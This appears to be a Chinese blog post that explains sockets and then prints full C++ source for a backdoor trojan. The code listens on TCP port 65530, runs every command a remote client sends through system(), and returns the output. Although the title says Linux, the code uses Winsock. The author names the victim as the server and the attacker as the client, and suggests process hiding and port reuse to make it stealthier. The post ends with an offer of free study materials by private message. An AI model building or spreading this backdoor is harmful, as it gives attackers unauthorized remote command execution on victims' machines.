linux中基于C/C++socket通信的后台木马程序(含源码)

##什么是socket通信？

网络上的两个程序通过一个双向的通信连接实现数据的交换，这个连接的一端称为一个socket。

建立网络通信连接至少要一对端口号(socket)。socket本质是编程接口(API)，对TCP/IP的封装，TCP/IP也要提供可供程序员做网络开发所用的接口，这就是Socket编程接口；HTTP是轿车，提供了封装或者显示数据的具体形式；Socket是发动机，提供了网络通信的能力。

Socket的英文原义是“孔”或“插座”。作为BSD UNIX的进程通信机制，取后一种意思。通常也称作"套接字"，用于描述IP地址和端口，是一个通信链的句柄，可以用来实现不同虚拟机或不同计算机之间的通信。在Internet上的主机一般运行了多个服务软件，同时提供几种服务。每种服务都打开一个Socket，并绑定到一个端口上，不同的端口对应于不同的服务。Socket正如其英文原义那样，像一个多孔插座。一台主机犹如布满各种插座的房间，每个插座有一个编号，有的插座提供220伏交流电， 有的提供110伏交流电，有的则提供有线电视节目。 客户软件将插头插到不同编号的插座，就可以得到不同的服务。

##现在我们来基于c/c++的socket来编写一个能够运行在windows上的后门软件，修改后可在linux上运行。

##所需要的头文件、命名空间和链接库

#include <iostream>

#include <stdio.h>

#include <stdlib.h>

#include <string>

#include <windows.h>

#include <winsock.h>

#include <list>

#include <vector>

using namespace std;

#pragma comment(lib,"ws2_32.lib")

##初始化socket库

Socket_TCP_connect() {

WORD socketversion = MAKEWORD(2, 0); //初始化版本

WSADATA socketData; //初始化套接字内容

WSAStartup(socketversion, &socketData); //初始化socket库

}

##建立tcp套接字监听并绑定地址和端口

void Socket_TCP_Bind_Listen(int port = 65530, u_long ip_list = INADDR_ANY)

{

s1 = socket(AF_INET, SOCK_STREAM, 0);

sin1.sin_family = AF_INET;

sin1.sin_addr.S_un.S_addr = ip_list;

sin1.sin_port = htons(port);

bind(s1, (sockaddr *)&sin1, sizeof(sin1));

listen(s1, 5);

Socket_TCP_Accept();

}

##接受客户端信息

void Socket_TCP_Accept()

{

char buffer[1024];

int addrlen = sizeof(sin2);

while (true)

{

FILE *fp = fopen("123.txt", "w+");

fclose(fp);

cout << ">>wait for connect……" << endl;

s2 = accept(s1, (sockaddr *)&sin2, &addrlen);

cout << ">>connect from " << inet_ntoa(sin2.sin_addr) << endl;

while (true)

{

int ret = recv(s2, buffer, sizeof(buffer), 0);

buffer[ret] = 0x00;

string commend = buffer;

string cmd = "";

for (auto &chr : commend)

{

if (chr == '\n')

{

chr = ' ';

}

cmd = cmd + chr;

}

cmd = cmd + "> 123.txt";

char c[1024];

strcpy(c, cmd.c_str());

cout << "执行：" << endl;

cout << c << endl;

if (system(buffer) == 0)

{

send(s2, "OK", strlen("OK"), 0);

if (system(c) == 0)

{

char str[1024] = "";

FILE *fp2 = fopen("123.txt", "rb+");

fread(str, sizeof(char), 1024, fp2);

cout << str;

send(s2, str, strlen(str), 0);

fclose(fp2);

}

}

}

closesocket(s2);

}

closesocket(s1);

WSACleanup();

}

##核心思想：

本程序可以在主机上打开一个TCP连接，端口号为65530，并且接受客户端发来的指令，通过system()函数运行指令，并通过I/O操作将指令发送至客户端。

被攻击者为socket服务器端，攻击者为客户端。添加进程隐藏和多线程端口复用技术后，可以增加隐蔽性。

##完整源码：

#include <iostream>

#include <stdio.h>

#include <stdlib.h>

#include <string>

#include <windows.h>

#include <winsock.h>

#include <list>

#include <vector>

using namespace std;

#pragma comment(lib,"ws2_32.lib")

class Socket_TCP_connect {

public:

//初始化socket库

Socket_TCP_connect() {

WORD socketversion = MAKEWORD(2, 0); //初始化版本

WSADATA socketData; //初始化套接字内容

WSAStartup(socketversion, &socketData); //初始化socket库

}

public:

//建立tcp套接字监听并绑定地址和端口

void Socket_TCP_Bind_Listen(int port = 65530, u_long ip_list = INADDR_ANY)

{

s1 = socket(AF_INET, SOCK_STREAM, 0);

sin1.sin_family = AF_INET;

sin1.sin_addr.S_un.S_addr = ip_list;

sin1.sin_port = htons(port);

bind(s1, (sockaddr *)&sin1, sizeof(sin1));

listen(s1, 5);

Socket_TCP_Accept();

}

private:

//接受客户端信息

void Socket_TCP_Accept()

{

char buffer[1024];

int addrlen = sizeof(sin2);

while (true)

{

FILE *fp = fopen("123.txt", "w+");

fclose(fp);

cout << ">>wait for connect……" << endl;

s2 = accept(s1, (sockaddr *)&sin2, &addrlen);

cout << ">>connect from " << inet_ntoa(sin2.sin_addr) << endl;

while (true)

{

int ret = recv(s2, buffer, sizeof(buffer), 0);

buffer[ret] = 0x00;

string commend = buffer;

string cmd = "";

for (auto &chr : commend)

{

if (chr == '\n')

{

chr = ' ';

}

cmd = cmd + chr;

}

cmd = cmd + "> 123.txt";

char c[1024];

strcpy(c, cmd.c_str());

cout << "执行：" << endl;

cout << c << endl;

if (system(buffer) == 0)

{

send(s2, "OK", strlen("OK"), 0);

if (system(c) == 0)

{

char str[1024] = "";

FILE *fp2 = fopen("123.txt", "rb+");

fread(str, sizeof(char), 1024, fp2);

cout << str;

send(s2, str, strlen(str), 0);

fclose(fp2);

}

}

}

closesocket(s2);

}

closesocket(s1);

WSACleanup();

}

private:

SOCKET s1, s2;

sockaddr_in sin1, sin2;

};

int main()

{

system("chcp 65001");

Socket_TCP_connect* conn = new Socket_TCP_connect();

conn->Socket_TCP_Bind_Listen();

return 0;

}

##实验效果：

注：需要C/C++ Linux服务器开发学习资料私信“资料”（资料包括C/C++，Linux，golang技术，Nginx，ZeroMQ，MySQL，Redis，fastdfs，MongoDB，ZK，流媒体，CDN，P2P，K8S，Docker，TCP/IP，协程，DPDK，ffmpeg等），免费分享